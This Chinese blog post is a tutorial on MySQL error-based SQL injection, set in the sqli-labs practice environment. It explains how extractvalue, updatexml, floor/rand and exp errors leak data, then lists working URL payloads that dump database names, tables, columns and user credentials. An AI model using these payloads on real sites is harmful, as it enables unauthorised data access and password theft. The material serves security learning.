当前位置:网站首页>sql注入之报错注入(精简详细)
sql注入之报错注入(精简详细)
2022-08-03 14:51:00 【一青一柠】
报错注入
一直对sql注入的报错注入没有系统的整理过,今天整理一遍,方便以后查阅。
下面的语句可以直接在sql-lab中实践。
常用函数
extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue(XML_document, XPath_string )
参数1: XML_document是String格式,为XML文档对象的名称
参数2: XPath_string (Xpath格式的字符串),注入时可操作的地方
报错原理: xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如: XPATH syntax error:'xxxxxxxx'
●实例
mysql> select extractvalue(1,concat(' ~ ',user()));
ERROR 1105(HYOO0):XPATH syntax error: '~root@localhost"
·注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
updatexml()
作用:改变文档中符合条件的节点的值。
语法: updatexml(XML_document, XPath_string, new_value )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string (Xpath格式的字符串),注入时可操作的地方
参数3: new_value,String格式,替换查找到的符合条件的数据报错原理:同extractvalue()
●实例
mysql> select updatexml(1,concat('~ ',user()).1);
ERROR1105(HY0O0): XPATH syntax error: '[email protected]'
·注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
floor(),rand(0),count(),group by 联用作用
floor(x):对参数x向下取整
rand():生成一个0~1之间的随机浮点数
count(*):统计某个表下总共有多少条记录
group by x:按照(by)一定的规则(x)进行分组
报错原理: group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如: Duplicate entry '...' for key 'group_key'。
●实例
select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '[email protected]' for key 'group_key'
exp() (5.5.5<= MySQL数据库版本号<=5.5.49)
作用:计算以e (自然常数)为底的幂值
语法:exp(x)
报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is out of range: ......
●实例
mysql> select exp(~(select * from (select user()) as x));
ERROR 1690 (22003); DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)"
攻击实例
- extractvalue()
?id=-1' and extractvalue(1,concat('~ ",(select database())))--+ //爆当前数据库的库名,获知当前的数据库名称为security ?id=-1' and extractvalue(1, concat('~ ',(select table_name from information_schema.tables where table_schema='security' limit N,1)))--+ //爆security数据库的表名,通过调整参数N获知security数据库中有一张表名为users ?id=-1' and extractvalue(1, concat('~ ",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit N,1)))--+
//爆users表中的字段名,通过调整参数N获知users表中包含id,username,password三个字段
?id=-1' and extractvalue(1,concat('~ ',(select concat_ws(';', id,username,password)from security.users limit N,1)))--+
//通过调整参数N,爆users表中id,username,password三个字段的值
2.floor()
?id=-1' and (select 1 from (select count(*),.concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ //爆当前数据库的库名,获知当前的数据库名称为security ?id=-1' and (select 1 from (select count(*),concat((select table_name frominformation_schema.tables where table_schema='security' limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
//爆security数据库的表名,通过调整参数N获知security数据库中有一张表名为users
?id=-1' and (select 1 from (select count(*),concat((select column_name frominformation_schema.columns where table_schema='security' and table_name='users' limit N,1), floor(rand(0)*2))x from information_schema.tablesgroup by x)a)--+ //爆users表中的字段名,通过调整参数N获知users表中包含id,username,password三个字段? id=-1' and (select 1 from (select count(*),concat((select
concat_ws( ',',id,username,password) from security.users limit N,1),floor(rand(0)*2)>x from information_schema.tables group by x)a)--+
//通过调整参数N,爆users表中id,username,password三个字段的值
边栏推荐
猜你喜欢
连亏四个月,赚不回电费,预制菜经销商恐成“韭菜”?
兔起鹘落全端涵盖,Go lang1.18入门精炼教程,由白丁入鸿儒,全平台(Sublime 4)Go lang开发环境搭建EP00
输出一个整数的二进制形式
想成为网络安全技术爱好者(可能是黑客)的话,需要看什么书?
162_Power Query 快速合并文件夹中表格之自定义函数 TableXlsxCsv_2.0
大势,又一关乎中美竞争的关键行业,走到关键时刻了
With 1000 lines of code statistics after the xi 'an housing prices, I have a startling discovery...
Day1:面试必考真题
树莓派 USB摄像头 实现网络监控( MJPG-Streamer)
Huffman树
随机推荐
liunx服务器遇到SYN_SENT洪水攻击
NFT盲盒挖矿DAO智能合约dapp系统开发详情
[The Beauty of Software Engineering - Column Notes] 36 | What exactly do DevOps engineers do?
理解string类
苹果开发「AI 建筑师」GAUDI:根据文本生成超逼真 3D 场景!
使用Jetty服务器和Axis2框架技术发布Webservice接口
2022-08-03日报:汪林望 vs 刘铁岩:AI、机器学习在材料科学研究中能发挥哪些作用?
HDU 1029 Ignatius and the Princess IV
面试官都震惊,你这“网络基础”可以啊
正则表达式入门一
MMA安装及使用优化
Tao Te: Engine or baggage?
【FPGA教程案例44】图像案例4——基于FPGA的图像中值滤波verilog实现,通过MATLAB进行辅助验证
HDU 1406 (完数)
使用Typora+EasyBlogImageForTypora写博客,无图床快速上传图片
【报错】ImportError: libpng16-57e5e0a0.so.16.37.0: cannot open shared object file: No such file or direc
PAT乙级-B1009 说反话(20)
PAT乙级-B1015 德才论(25)
SQL 不新增表 把一张表定义成两张
Clickhouse填坑记3:Left Join改Right Join导致统计结果错误